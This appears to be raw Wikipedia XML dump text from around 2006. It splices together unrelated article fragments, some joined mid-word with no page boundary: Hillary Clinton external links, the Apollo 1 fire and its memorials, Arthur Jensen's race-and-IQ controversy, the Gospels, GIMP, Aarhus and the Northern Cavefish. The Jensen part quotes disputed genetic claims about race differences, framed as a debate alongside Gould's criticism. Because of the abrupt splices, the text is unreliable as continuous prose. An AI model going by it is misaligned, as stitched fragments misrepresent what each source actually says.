*[http://dir.yahoo.com/Regional/U_S__States/New_York/Government/Elected_and_Appointed_Officials/U_S__Senators/Clinton__Hillary_Rodham__D_/ Yahoo! - ''Hillary Rodham Clinton''] directory category *[http://dmoz.org/Regional/North_America/United_States/Government/Legislative_Branch/Senate/Members/Clinton,_Hillary_Rodham_%5bD-NY%5d/ Open Directory Project - ''Hillary Rodham Clinton''] directory category *[http://www.patrickruffini.com/2008wire/index.php?c=Clinton 2008 Presidential Wire - Sen. Hillary Rodham Clinton] *[http://www.justhillary.com/ Hillary Clinton news digest site] *[http://www.learningtimes.net/news_04212004.shtml Clinton Leads Online Panel on &quot;Non-Traditional Students&quot;] ===Senate races=== *[http://www.hillaryclinton.com Hillary Clinton for Senate] *[http://www.ontheissues.org/NY_Senate_NBC.htm Clinton's positions in 2000 Senate Race] *[http://www.cnn.com/2000/LOCAL/northeast/07/21/mny.hillary.jews/ Clinton enjoys strong support from Jewish voters] *[http://dir.salon.com/politics/feature/2000/11/02/news/index.html Allegations during the Senate Race] * [http://www.jewishworldreview.com/0700/hillary.slur.asp Jewish Vote Crucial] * [http://www.cbsnews.com/stories/2000/11/03/politics/main246677.shtml Results &amp; Demographic Breakdown of Votes] * [http://www.detnews.com/2001/politics/0105/04/a05-220310.htm New Square] * [http://query.nytimes.com/gst/abstract.html?res=F60C1FFA395B0C728EDDAF0894DA404482 Prosecutors Clear Clintons in Hasidic Case] ===Possible presidential race=== *[http://www.hillpac.com/ HillPAC] - Leadership PAC *[http://www.votehillary.org/ VoteHillary] - Unofficial Hillary Clinton For President Committee *[http://www.votehillary.org/ Draft Hillary for President 2008] - Draft Hillary Rodham Clinton For President 2008 {{start box}} {{succession box | before=[[Barbara Bush]] | title=[[First Ladies of the United States|First Lady of the United States]] | years= 1993 &amp;ndash; 2001 | after=[[Laura Bush]]}} {{incumbent U.S. Senator box | state=New York | class=1 | before=[[Daniel Patrick Moynihan]] | alongside=[[Charles Schumer]] | start=2001}} {{end box}} {{USFirstLadies}} {{NY-FedRep}} {{Current U.S. Senators}} &lt;!-- [[Wikipedia:Persondata]] --&gt; {{Persondata |NAME=Clinton, Hillary Rodham |ALTERNATIVE NAMES=Rodham, Hillary Diane |SHORT DESCRIPTION=U.S. Senator, U.S. First Lady. |DATE OF BIRTH=[[October 26]] [[1947]] |PLACE OF BIRTH=[[Chicago]] |DATE OF DEATH= |PLACE OF DEATH=}} [[Category:1947 births|Clinton, Hillary Rodham]] [[Category:Alpha Phi Omega honorary brothers|Clinton, Hillary Rodham]] [[Category:American law professors|Clinton, Hillary Rodham]] [[Category:American lawyers|Clinton, Hillary Rodham]] [[Category:Women lawyers|Clinton, Hillary Rodham]] [[Category:American women|Clinton, Hillary Rodham]] [[Category:Bill Clinton|Clinton,
ey had also suggested that the atmosphere be an oxygen/nitrogen mixture, like on the earth's surface. [[NASA]] didn't agree, arguing that the hatch could be accidentally opened (this is what caused [[Liberty Bell 7]] — ironically, piloted by Grissom — to sink into the ocean during splashdown recovery operations; Grissom himself argued that the hatch should be stronger, more secure, and harder to open), and that if too much nitrogen were released into the atmosphere, the astronauts would pass out and then die. They also argued that since a pure oxygen atmosphere was used safely in [[Mercury program|Mercury]] and [[Gemini program|Gemini]], it should be safe to use for Apollo. Furthermore, such a design saved weight. After the fire, Apollo was grounded pending a redesign, with the following results: * The atmosphere would not be pressurized to 2 lbf/in&amp;sup2; (14 [[Pascal_(unit)|kPa]]) above [[atmospheric pressure]]. It would consist of 60% oxygen and 40% nitrogen at sea-level pressure at launch, lowering to 5 kPA of pressure during launch, and gradually changing over to 100% oxygen during the first 24 hours of the trans-lunar coast. * The hatch would open outward, and be operable in less than ten seconds. * [[Flammable]] materials in the cabin were replaced with self-extinguishing materials. * [[Plumbing]] and wiring were covered with protective [[thermal insulation|insulation]]. * 1,407 wiring problems were corrected. * [[Nylon]] suits were replaced with coated glass fabric suits, much more difficult to ignite. ==The naming of Apollo 1== When [[North American Aviation]] shipped Spacecraft CM-012 to [[Kennedy Space Center]], it bore a banner proclaiming it &quot;Apollo One&quot; and Grissom's crew had received approval for an &quot;Apollo 1&quot; patch in June [[1966]], but NASA was planning to call that mission &quot;AS-204.&quot; After the fire, the astronauts' widows asked that &quot;Apollo 1&quot; be reserved for the flight their husbands would never make. For a time, mission planners called the next scheduled launch &quot;Apollo 2.&quot; Suggestions were made that the flights should be called &quot;Apollo 1&quot; (AS-204), &quot;Apollo 1A&quot; (AS-201), &quot;Apollo 2&quot; (AS-202), and &quot;Apollo 3&quot; (AS-203). Finally, the NASA Project Designation Committee approved &quot;[[Apollo 4]]&quot; for the first (unmanned) Apollo-Saturn V mission (AS-501), but declared that there would be no retroactive renaming of AS-201, -202, or -203. The Apollo 1 (AS-204) Saturn IB rocket was taken down from Launch Complex 34 and later reassembled at Launch Complex 37B. It was used to launch the [[Apollo 5]] LM-1 into earth orbit for the first [[Lunar Module]] test mission. ==Memorial== [[image:Apollo_1_plaque.png|thumb|right|300px|Drawing of Apollo 1 plaque that is attached to Launch Complex 34]] [[image:Apollo1plaque.JPG|thumb|right|300px|Apollo 1 plaque that is attached to Launch Complex 34]] [[image:LaunchComplex34.JPG|thumb|right|300px|Launch Complex 34, showing plaque on right rear post]] While Launch Complex 34 has been essentially dismantled, the cement and steel-reinforced launch platform remains at the site. The platform bears two plaques for the 3 men who perished. One says: &lt;blockquote&gt;''LAUNCH COMPLEX 34''&lt;br /&gt; ''Friday, 27&amp;nbsp;January 1967''&lt;br /&gt; ''1831 Hours''&lt;br /&gt; &lt;br /&gt; ''Dedicated to the living memory of the crew of the Apollo 1'':&lt;br /&gt; &lt;br /&gt; ''U.S.A.F. Lt. Colonel Virgil I. Grissom''&lt;br /&gt; ''U.S.A.F. Lt. Colonel Edward H. White, II''&lt;br /&gt; ''U.S.N. Lt. Commander Roger B. Chaffee''&lt;br /&gt; &lt;br /&gt; ''They gave their lives in service to their country in the ongoing exploration of humankind's final frontier. Remember them not for how they died but for those ideals for which they lived.''&lt;/blockquote&gt; &lt;br style=&quot;clear: left&quot;/&gt; [[image:Apollo_1_2nd_plaque.png|thumb|right|300px|Drawing of second Apollo 1 plaque that is attached to Launch Complex 34]] The other says: &lt;blockquote&gt;''IN MEMORY OF THOSE WHO MADE THE ULTIMATE SACRIFICE SO OTHERS COULD REACH FOR THE STARS''&lt;br /&gt; &lt;br /&gt; ''AD ASTRA PER ASPERA''&lt;br /&gt; ''(A ROUGH ROAD LEADS TO THE STARS)''&lt;br /&gt; &lt;br /&gt; ''GOD SPEED TO THE CREW OF APOLLO 1''&lt;/blockquote&gt; This plaque was featured in the film ''[[Armageddon (movie)|Armageddon]]''. In addition to both, a college classmate of one of the astronauts fashioned three granite benches, one for each member of the crew. The benches were installed in January 2005. Each year the families of the Apollo 1 crew are invited to the site for a memorial, and the Kennedy Space Center Visitor Center offers a visit to the site for those who choose to take a special tour to the older launch sites that are on Cape Canaveral. Three stars, [[Epsilon Cassiopeiae|Navi]], [[Dnoces]] and [[Regor]] were named in honor of the crew. The names are &quot;Ivan,&quot; &quot;Second&quot; and &quot;Roger&quot; spelled backwards. Ivan was Grissom's middle name and White was Edward H. White the Second. The crew used the stars to calibrate their equipment and, as a practical joke, recorded the names in official NASA documentation. The names eventually stuck as a posthumous honor.{{ref|star_names}} ==Conspiracy theories== The space community, particularly [[USENET]] newsgroups sci.space.history and sci.space.policy, frequently see semi-anonymous postings which accuse NASA and/or other US authorities of [[arson]] and conspiracy to assassinate the crew of Apollo 1. It is claimed that NASA administrators held Grissom personally responsible for the loss of the [[Liberty Bell 7]] capsule at sea, and wanted to avenge this agency-wide loss of face. According to the Star tabloid, Grissom's son [[Scott Grissom]], a pilot himself, demanded a renewed investigation into the Apollo 1 disaster back in [[1999]]. Nonetheless, the accusations are generally regarded as [[Internet troll|trolling]] by the USENET community. ==References== *{{note|star_names}} http://www.hq.nasa.gov/alsj/a15/a15.postland.html Search the page for &quot;regor&quot; to find the reference. ==See also== [[List of space disasters]] ==External links== *[http://www.hq.nasa.gov/office/pao/History/Apollo204/ NASA Apollo 1 website] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19730061045_1973061045.pdf Apollo spacecraft 012 (Apollo 1) Operations Handbook (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066930_1982066930.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066928_1982066928.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix A: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066927_1982066927.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix B: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066925_1982066925.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix C Section 1: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066936_1982066936.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix C Section 2: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066931_1982066931.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 1 through 4: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066926_1982066926.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panel 5: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066932_1982066932.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 6 through 10: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066929_1982066929.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panel 11: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066933_1982066933.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 12 through 17: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066923_1982066923.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panel 18: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066934_1982066934.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix D Panels 19 through 21: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066935_1982066935.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix E: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820066537_1982066537.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix F: (PDF)] *[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19820067189_1982067189.pdf Report of the Apollo 204 (Apollo 1) Accident Review Board - Appendix G: (PDF)] {{Project Apollo | before=[[AS-202]] &lt;br&gt; [[Gemini 12]] | after=[[Apollo 4]] &lt;br&gt; [[Apollo 7]]}} [[Category:Apollo program|Apollo 01]] [[Category:Space Program Deaths]] [[Category:1967 in the United States]] [[cs:Apollo 1]] [[de:Apollo 1]] [[es:Apollo 1]] [[fr:Apollo 1]] [[it:Apollo 1]] [[he:אפולו 1]] [[hu:Apollo-1]] [[nl:Apollo 1]] [[ja:アポロ1号]] [[pl:Apollo 1]] [[pt:Apollo 1]] [[ru:Аполлон-1]] [[sk:Apollo 1]] [[fi:Apollo 1]] [[sv:Apollo 1]]</text> </revision> </page> <page> <title>Apollo 10</title> <id>1966</id> <revision> <id>42106610</id> <timestamp>2006-03-03T21:43:52Z</timestamp> <contributor> <username>Rich Farmbrough</username> <id>82835</id> </contributor> <minor /> <comment>Header - references plural</comment> <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; |+&lt;font size=&quot;+1&quot;&gt;'''Apollo 10'''&
clearly spelled out in my most recent book: &quot;The plain fact is that at present there exists no scientifically satisfactory explanation for the differences between the IQ distributions in the black and white populations. The only genuine consensus among well-informed scientists on this topic is that the cause of the difference remains an open question&quot; (Jensen, 1981a, p. 213). [[Thomas Sowell]] wrote: :Professor Jensen pointed out back in 1969 that black children's IQ scores rose by 8 to 10 points after he met with them informally in a play room and then tested them again after they were more relaxed around him. He did this because &quot;I felt these children were really brighter than their IQ would indicate.&quot; What a shame that others seem to have less confidence in black children than Professor Jensen has had. [http://www.townhall.com/opinion/columns/thomassowell/2002/10/01/164398.html] Nevertheless, eugenicists and others point to passages such as the following (from his book ''The ''g'' Factor: The Science of Mental Ability'') to support their claim that Jensen has proven that differences in IQ scores between races are mostly genetic: :In Chapter 12: Population Differences in ''g'': Causal Hypotheses, Jensen writes: &quot;The relationship of the ''g'' factor to a number of biological variables and its relationship to the size of the white-black differences on various cognitive tests (i.e., [[Spearman's hypothesis]]) suggests that the average white-black difference in ''g'' has a biological component. Human races are viewed not as discrete, or Platonic, categories, but rather as breeding populations that, as a result of natural selection, have come to differ statistically in the relative frequencies of many polymorphic genes. The genetic distances between various populations form a continuous variable that can be measured in terms of differences in gene frequencies. Racial populations differ in many genetic characteristics, some of which, such as brain size, have behavioral and psychometric correlates, particularly ''g''.&quot; == Gould's criticism == Paleontologist [[Stephen Jay Gould]], known for his popularizations of science in mass market books and magazines, attacked Jensen's work in his 1981 book ''[[The Mismeasure of Man]].'' Gould makes three criticisms. The first is the criticism commonly leveled against Jensen and other researchers dealing with [[race and intelligence]]:that Jensen misapplies the concept of &quot;heritability.&quot; [[Heritability]] measures the percentage of variation of a trait due to inheritance, ''within'' a population. (Gould 1981: 127; 156-156). Jensen has used the concept of heritability to measure differences in inheritance ''between'' populations, and this is the basis of the criticism. Secondly, Gould disagrees with Jensen's belief that IQ tests measure a real variable, ''g'', or &quot;the [[general factor]] common to a large number of cognitive abilities&quot; which can be measured along a unilinear scale. This is a claim most closely identified with [[Cyril Burt]] and [[Charles Spearman]]. According to Gould, Jensen misunderstood the research of [[L. L. Thurstone]] to ultimately support this claim; Gould however argues that Thurstone's [[factor analysis]] of intelligence revealed ''g'' to be an illusion (1981: 159; 13-314). Third, Gould disagrees with Jensen's support of the attempts of others to calculate the IQ's of dead people (such as the famous astronomer and Prussian monetary theorist [[Nicolaus Copernicus]]) (1981: 153-154). In a 1982 review of Gould's book Jensen gives point-by-point rebuttals to Gould's characterizations of his work, including Gould's treatment of heritability, the &quot;reification&quot; of ''g'' and the use of Thurstone's analysis. Gould's responses can be found in the latest edition of ''[[The Mismeasure of Man]]'' (1996). In Arthur Jensen's response to Gould's criticisms, in the paper titled ''The Debunking of Scientific Fossils and Straw Persons''.[http://www.mugu.com/cgi-bin/Upstream/jensen-gould-fossils], Jensen begins his paper with this observation :&quot;Stephen Jay Gould is a paleontologist at Harvard's Museum of Comparative Zoology and offers a course at Harvard entitled, &quot;Biology as a Social Weapon.&quot; Apparently the course covers much the same content as does the present book. Having had some personal cause for interest in ideologically motivated attacks on biologically oriented behavioral scientists, I first took notice of Gould when he played a prominent role in a group called Science for the People and in that group's attack on the theories of Harvard zoologist Edward O. Wilson, a leader in the development of sociobiology...&quot; Among a number of other objections to Gould's conclusions found in Jensen's paper, Jensen states that Gould relies on information that is outdated while ignoring present research and information that does not support his conclusions. :&quot;...Of all the book's references, a full 27 percent precede 1900. Another 44 percent fall between 1900 and 1950 (60 percent of those are before 1925); and only 29 percent are more recent than 1950. From the total literature spanning more than a century, the few &quot;bad apples&quot; have been hand-picked most aptly to serve Gould's purpose.&quot; In addition, Jensen indicates that Gould may have intentionally misrepresented Jensen's own views. Jensen adds :&quot;In his references to my own work, Gould includes at least nine citations that involve more than just an expression of Gould's opinion; in these citations Gould purportedly paraphrases my views. Yet in eight of the nine cases, Gould's representation of these views is false, misleading, or grossly caricatured. Nonspecialists could have no way of knowing any of this without reading the cited sources. While any author can occasionally make an inadvertent mistake in paraphrasing another, it appears Gould's paraphrases are consistently slanted to serve his own message. Through hyperbole and caricature he converts real issues into straw persons, which can be easily disproved.&quot; See also: the discussion of [[race and intelligence]]. ==Recent books== ===The ''g'' Factor=== ''The ''g'' Factor: The Science of Mental Ability'' (1998) is considered by supporters to be Jensen's magnum opus on the [[general intelligence factor]] (''g''). The book deals with the intellectual history of the discovery of g and various models of how to conceptualize intelligence, and with the biological correlates of g, its heritability, and its practical predictive power. ===Clocking the Mind=== ''Clocking the Mind : Mental Chronometry and Individual Differences'' (to be published in April 2006) is on [[mental chronometry]] (MC), a variety of techniques for measuring the speed with which the brain processes information. Whereas [[IQ]] merely represents an ordinal (ranking) scale and thus possesses no true scale properties, Jensen argues mental chronometry represents a true natural science of mental ability. ==Further Reading== ===Interviews=== [http://www.missouri.edu/~aab2b3/SASP-Su2002.pdf SASP Interviews: Arthur R. Jensen.] Beaujean, A. A. (2002, July). SASP News, 2 (4). (pdf) [http://www.amren.com/928issue/928issue.html &quot;A Conversation With Arthur Jensen (Part 1)&quot;]. (1992). ''[[American Renaissance (magazine)|American Renaissance]]'', 3(8). [http://www.amren.com/929issue/9209issue.html &quot;A Conversation With Arthur Jensen (Part 2&quot;]. (1992). ''American Renaissance'', 3(9). [http://books.google.com/books?vid=ISBN081334008X ''Intelligence, Race, and Genetics: Conversations with Arthur R. Jensen.''] (2002) Miele F, Jensen AR. Westview Press. ISBN 081334008X ===Selected Articles &amp; Book Chapters=== [[J. Philippe Rushton|Rushton, J. P.]], &amp; Jensen, A. R.. (2005). Thirty years of research on Black-White differences in cognitive ability. ''Psychology, Public Policy, &amp; the Law, 11,'' 235-294. ([http://www.ssc.uwo.ca/psychology/faculty/rushtonpdfs/PPPL1.pdf pdf]) Rushton, J. P., &amp; Jensen, A. R. (2005). Wanted: More race-realism, less moralistic fallacy. ''Psychology, Public Policy, and Law, 11,'' 328-336. ([http://www.ssc.uwo.ca/psychology/faculty/rushtonpdfs/PPPL2.pdf pdf]) Rushton, J. P., &amp; Jensen, A. R. (2003). African-White IQ differences from Zimbabwe on the Wechsler Intelligence Scale for Children-Revised are mainly on the ''g'' factor. ''Personality and Individual Differences, 34,'' 177-183. ([http://www.ssc.uwo.ca/psychology/faculty/rushtonpdfs/Rushton-Jensen2003PAID.pdf pdf]) Jensen, A. R. (2002). Galton's legacy to research on intelligence. ''Journal of Biosocial Science, 34,'' 145-172. Jensen, A. R. (2002). Psychometric g: Definition and substantiation. In R. J. Sternberg, &amp; E. L. Grigorenko (Eds.). ''The general factor of intelligence: How general is it?'' (pp. 39-53). Mahwah, NJ, US: Lawrence Erlbaum. Jensen, A. R. (2000). Testing: The dilemma of group differences. ''Psychology, Public Policy, &amp; Law, 6,'' 121-128. Jensen, A. R. (1998) The g factor and the design of education. In R. J. Sternberg &amp; W. M. Williams (Eds.), ''Intelligence, instruction, and assessment: Theory into practice.'' (pp. 111-131). Mahwah, NJ: Lawrence Erlbaum. Jensen, A. R. (1996). Giftedness and genius: Crucial differences. In C. P. Benbow, &amp; D. J. Lubinski (Eds), ''Intellectual talent: Psychometric and social issues'' (pp. 393-411). Baltimore: Johns Hopkins University. Jensen, A. R. (1995). Psychological research on race differences. ''American Psychologist, 50,'' 41-42. Jensen, A. R. (1993). Spearman's g: Links between psychometrics and biology. In F. M. Crinella, &amp; J. Yu (Eds.), ''Brain mechanisms: Papers in memory of Robert Thompson'' (pp. 103-129). New York: Annals of the New York Academy of Sciences. Jensen, A. R. (1993). Why is reaction time correlated with psychometric g? ''Current Directions in Psychological Science, 2,'' 53-56.
deacon present, the priest will read the Gospel himself. As in many other churches, all stand while the Gospel is being read. In the Sunday [[Matins]] service the Gospel is always read by the celebrant. Afterward, the faithful venerate the Book of Gospels and then receive the celebrant's blessing. ==Heraldry== In [[heraldry]] the Gospel is a &quot;[[charge (heraldry)|charge]]&quot;, shown as a sort of book. ==See also== *''[[logia agrapha]]'' are the collections of phrases attributed to Jesus Christ that are not found in the canonical gospels. *''[[Godspell]]'' is a musical based on the gospels of Jesus Christ. '''''Godspel''''' is archaic English for Gospel. ==External links== * Read Matthew's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=matthew&amp;version=ESV Bible Gateway]. * Read Mark's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=mark&amp;version=ESV Bible Gateway]. * Read Luke's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=luke&amp;version=ESV Bible Gateway]. * Read John's Gospel at the [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;passage=john&amp;version=ESV Bible Gateway]. * [http://www-user.uni-bremen.de/~wie/TCG/index.html A detailed discussion of the textual variants in the Gospels] &amp;mdash; covering about 1200 variants on 2000 pages. * [http://www-user.uni-bremen.de/~wie/GNT/books.html Greek New Testament] &amp;mdash; the Greek text of the New Testament: specifically the Westcott-Hort text from 1881, combined with the NA26/27 variants. * [http://www.monergism.com/thethreshold/articles/topic/gospel.html Essays on Gospel] &amp;mdash; from a conservative Calvinist standpoint. * [http://www.westarinstitute.org/Polebridge/Title/Complete/IntroComplete/introcomplete.html Introduction to ''The Complete Gospels''] &amp;mdash; an excerpt and information about this compilation of canonical and non-canonical gospels in translation. * [http://dubitando.no.sapo.pt/quattuor-evangeliorum-consonantia.htm Quattuor Evangeliorum Consonantia] - The latin harmony of the Gospels (1) * [http://dubitando.no.sapo.pt/quattuor-evangeliorum-consonantia-n.htm Quattuor Evangeliorum Consonantia] - The latin harmony of the Gospels (2) * [http://koti.phnet.fi/elohim/Bible_and_the_history.html The Bible and history] - The Bible and history * [http://www.radioblack.com/gospel_webcast.html Gospel radio stations] * [http://www.newadvent.org/cathen/06655b.htm Catholic Encyclopedia article] [[Category:Christian texts]] [[bg:Евангелие]] [[ca:Evangeli]] [[cs:Evangelium]] [[da:Evangelium]] [[de:Evangelium (Buch)]] [[es:Evangelio]] [[eo:Evangelio]] [[fr:Évangile]] [[ko:복음서]] [[id:Injil]] [[ia:Evangelio]] [[it:Vangelo]] [[he:בשורות]] [[jv:Injil]] [[la:Evangelium]] [[li:Evangelie]] [[hu:Evangélium]] [[nl:Evangelie]] [[ja:福音]] [[pl:Ewangelia]] [[pt:Evangelho]] [[ro:Evanghelie]] [[ru:Евангелие]] [[scn:Vanceli]] [[sr:Свето Јеванђеље]] [[sv:Evangelium]] [[tr:İncil]] [[wa:Evandjîle]] [[zh:四福音书]]</text> </revision> </page> <page> <title>GIMP</title> <id>12628</id> <revision> <id>42070966</id> <timestamp>2006-03-03T16:51:43Z</timestamp> <contributor> <username>Phil Boswell</username> <id>24373</id> </contributor> <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment> <text xml:space="preserve">{{dablink|Often, the name '''GIMP''' is used erroneously for the [[Gimp-Print]] [[printer driver]] set.}} &lt;!-- Release version update? Don't edit this page, just click on the version number! --&gt; {{Infobox_Software2| name = GIMP |logo = [[Image:Wilber GIMP.app icon OSX.png|48px|GIMP.app icon]] |screenshot = [[Image:Gimp-gnome-2.2.8.png|250px]] |caption = A [[screenshot]] of GIMP version 2.2.8 running under [[Ubuntu Linux]] |developer = The GIMP Team |operating_system = [[Cross-platform]] |genre = [[Bitmap graphics editor]] |license = [[GNU General Public License|GPL]] |website = [http://www.gimp.org/ www.gimp.org] {{ref|www.gimp.org.107}} }} The '''[[GNU]] Image Manipulation Program''' or just '''GIMP''' is an [[open source]] [[free software]] [[bitmap graphics editor]], a program for creating and processing [[raster graphics]]. It also has some support for [[vector graphics]]. The project was started in [[1995]] by [[Spencer Kimball]] and [[Peter Mattis]] and is now maintained by a group of volunteers; it is licensed under the [[GNU General Public License]]. ==Overview== GIMP originally stood for General Image Manipulation Program. Its creators, Spencer Kimball and Petter Mattis, initially started GIMP as a semester-long project for a class at UC Berkeley. Both were integral members of eXperimental Computing Facility, a student club at Berkeley (the GIMP's file extension, XCF, is taken from the initials of this club). In [[1997]], after both Kimball and Mattis had graduated from Berkeley, the name was changed to GNU Image Manipulation Program when it became an official [[GNU project]]. GIMP can be used to process digital graphics and photographs. Typical uses include creating graphics and [[logo]]s, resizing and cropping photos, changing colors, combining images using a layer paradigm, removing unwanted image features, and converting between different image formats. GIMP can also be used to create simple animated images. GIMP is also notable to some as the first major [[free software]] end-user application. Previous free software projects, such as [[GNU Compiler Collection|GCC]] and the [[Linux kernel|Linux]] kernel, were mainly tools created by [[programmer]]s for programmers. GIMP is considered by some to be proof that the free software development process can create things non-[[geek]]s can use productively, and as such psychologically paved the way for such efforts as [[KDE]], [[GNOME]], [[Mozilla Firefox]], [[OpenOffice.org]], and various other applications that followed. ==Features== [[Image:gimp 2.2.8 Mac.png|thumb|200px|A screenshot of GIMP version 2.2.8 running under [[X11]] on Mac OS X]] ===Brushes, colours, and painting tools=== * 48 standard brushes, plus facilities to create new ones * Brushes can be used in hard-edged, soft-edged, or eraser modes, or used to apply various effects * Palette with RGB, HSV, colour wheel, CMYK, and mixing modes, plus tools to pick colours from the image with various averaging options. Support for HTML colour codes. ===Selection and masking tools=== * Selection of rectangles, circles, contiguous regions, similar colours, or freehand selection ===Layers, transparency=== * Support for layers, including transparent layers, which can be shown, hidden, or made semitransparent * Transparent and semitransparent images &lt;!-- More about channels here? --&gt; ===Paths=== * Support for paths containing line segments or bezier curves. Paths can be named, saved, and painted with brushes, patterns, or various line styles ===Effects, scripts, and filters=== * Approximately 150 standard effects and filters ===Scripting=== As well as interactive use, GIMP can be automated with [[macro]] programs. The built-in [[Scheme programming language|Scheme]] can be used for this, or alternatively [[Perl]], [[Python programming language|Python]], [[Tcl]] and (experimentally) [[Ruby programming language|Ruby]] can also be used. This allows the writing of scripts and plugins for GIMP which can then be used interactively; it is also possible to produce images in completely non-interactive ways (for example generating images for a webpage on the fly using [[Common Gateway Interface|CGI]] scripts) and for [[batch processing|batch]] color correction and conversion of images. For simple automatable tasks, a package such as [[ImageMagick]] is likely to be quicker, but GIMP has much more powerful features. ==Development== [[Image:GIMPLogo.png|right|frame|GIMP Logos with [[Wilber (mascot of GIMP)|Wilber]], the GIMP mascot]] GIMP was intended as a [[free software]] replacement for [[Adobe Photoshop]], which is the dominant bitmap editor in the printing and graphics industries. GIMP uses [[GTK+]] as for building its user interface. GTK+ was initially part of GIMP, intended as a replacement for the [[proprietary software|proprietary]] [[Motif (widget toolkit)|Motif]] toolkit, which GIMP originally depended upon. GIMP and GTK+ were originally designed for the [[X Window System]] running on [[Unix-like]] [[operating system]]s, but have since been ported to [[Microsoft Windows]], [[OS/2]], and [[SkyOS]]. The current stable version of GIMP is {{Latest stable release/GIMP}}. Major changes compared to version 1.2 include a more polished user interface and further separation of the user interface and back-end. For the future it is planned to base GIMP on a more generic graphical library called [[GEGL]], thereby addressing some fundamental design limitations that prevent many enhancements such as native [[CMYK]] support. However, implementation of this plan has been continually put off since 2000. ==Comparisons with other graphics editors== ''Missing features'', which some graphics artists expect, include: *Support for the [[Pantone]] [[color space|color matching system]], or [[spot color]]. *Support for [[Adobe Photoshop]] [[plugin]]s and other add-ons{{ref|pspi}}. *Support for anything but 8-bit per-channel images e.g 16-bit, 32-bit, [[floating point]]. *Support for [[colour models]] other than RGB(A) and greyscale e.g [[CMYK color model|CMYK]], [[CIE 1931 color space|CIE XYZ]]. *Extensive [[gamma correction|gamma support]]. *Support for [[Color management]] (GIMP has limited support through [[LittleCMS|LCMS]]{{ref|www.littlecms.com.109}}) *[[Adjustment layers]] i.e layers which act like filters. *Undo history &quot;snapshots&quot; that persist between sessions. ''Benefits'' of GIMP system include: * Zero licensing costs, even for installati
ral Centre'')] * [http://www.aros.dk/?setlanguage=2 ARoS Aarhus Kunstmuseum (''museum of arts'')] * [http://www.dengamleby.dk/english.htm Den Gamle By (''The Old Town'')] * [http://moesgaard.hum.au.dk/my.php?top=13&amp;language=1 Moesgård Museum (''archaeological and ethnographic museum'')] * [http://www.musikhusetaarhus.dk Musikhuset Aarhus (''concert hall'')] * [http://www.minority-report.dk/english/ (''Aarhus Festival of Contemporary Art 2004: Minority Report'')] [[Category:Aarhus]] [[Category:Cities and towns in Denmark]] [[bg:Орхус]] [[cs:Århus]] [[da:Århus]] [[de:Århus]] [[es:Århus]] [[eo:Arhuzo]] [[fr:Århus]] [[gl:Aarhus - Århus]] [[id:Aarhus]] [[it:Århus]] [[hu:Aarhus]] [[lv:Orhūsa]] [[nl:Aarhus]] [[ja:オーフス]] [[no:Århus]] [[pl:Århus]] [[ro:Århus]] [[sr:Архус]] [[fi:Århus]] [[sv:Århus]] [[tr:Orhus]]</text> </revision> </page> <page> <title>Amblyopsis Spelea</title> <id>1042</id> <revision> <id>24813196</id> <timestamp>2005-10-05T14:22:21Z</timestamp> <contributor> <username>Kbdank71</username> <id>197953</id> </contributor> <comment>fix double redirect</comment> <text xml:space="preserve">#REDIRECT [[Northern Cavefish]]</text> </revision> </page> <page> <title>Northern Cavefish</title> <id>1043</id> <revision> <id>37292545</id> <timestamp>2006-01-30T01:32:08Z</timestamp> <contributor> <username>Gdrbot</username> <id>263608</id> </contributor> <minor /> <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment> <text xml:space="preserve">{{Taxobox | color = pink | name = Northern cavefish | status = {{StatusVulnerable}} | regnum = [[Animal]]ia | phylum = [[Chordata]] | classis = [[Actinopterygii]] | ordo = [[Percopsiformes]] | familia = [[Amblyopsidae]] | genus = ''[[Amblyopsis]]'' | species = '''''A. spelea''''' | binomial = ''Amblyopsis spelea'' | binomial_authority = (DeKay, 1842) }} The '''Nothern Cavefish''' also know as the 